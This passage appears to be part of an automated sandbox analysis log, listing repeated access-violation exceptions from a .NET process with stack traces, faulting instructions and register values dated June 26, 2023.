ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908128 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908136 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41900704 registers.ecx: 44020912	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b7a03 0xa8b6fae 0x205dbe1 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908948 registers.edi: 35909212 registers.eax: 0 registers.ebp: 35908956 registers.edx: 0 registers.ebx: 35911044 registers.esi: 44589820 registers.ecx: 44596796	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0x21e98a9 0x21e96ab 0x21e7710 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x21e99e0 registers.esp: 34467748 registers.edi: 34467800 registers.eax: 0 registers.ebp: 34467812 registers.edx: 5783712 registers.ebx: 34469252 registers.esi: 39036472 registers.ecx: 0	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7a67d4 0xa7a606a 0xa7a5f3d 0xa7a47f3 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466276 registers.edi: 34466620 registers.eax: 0 registers.ebp: 34466284 registers.edx: 0 registers.ebx: 34469252 registers.esi: 39961076 registers.ecx: 41087372	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7a67d4 0xa7a606a 0xa7a5f55 0xa7a47f3 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466276 registers.edi: 34466620 registers.eax: 0 registers.ebp: 34466284 registers.edx: 0 registers.ebx: 34469252 registers.esi: 39961076 registers.ecx: 38700568	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7a67d4 0xa7a606a 0xa7a5f55 0xa7a47f3 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466276 registers.edi: 34466620 registers.eax: 0 registers.ebp: 34466284 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685608 registers.ecx: 39936120	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ab376 0xa7aac31 0xa7a5f3d 0xa7a4adc 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466252 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466260 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685608 registers.ecx: 41244960	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ab376 0xa7aac31 0xa7a5f55 0xa7a4adc 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466252 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466260 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685608 registers.ecx: 42591712	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ab376 0xa7aac31 0xa7a5f55 0xa7a4adc 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466252 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466260 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685608 registers.ecx: 43938464	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7abca2 0xa7ab649 0xa7a5f3d 0xa7a4bf4 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466304 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466312 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685608 registers.ecx: 39234684	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7abca2 0xa7ab649 0xa7a5f55 0xa7a4bf4 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466304 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466312 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685548 registers.ecx: 40628608	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7abca2 0xa7ab649 0xa7a5f55 0xa7a4bf4 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466304 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466312 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685548 registers.ecx: 42022256	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ac3b4 0xa7abe11 0xa7a5f3d 0xa7a4cfa 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466336 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466344 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685548 registers.ecx: 43416040	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ac3b4 0xa7abe11 0xa7a5f55 0xa7a4cfa 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466336 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466344 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685548 registers.ecx: 39970360	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ac3b4 0xa7abe11 0xa7a5f55 0xa7a4cfa 0xa7a3989 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34466336 registers.edi: 34466644 registers.eax: 0 registers.ebp: 34466344 registers.edx: 0 registers.ebx: 34469252 registers.esi: 38685548 registers.ecx: 41366632	1
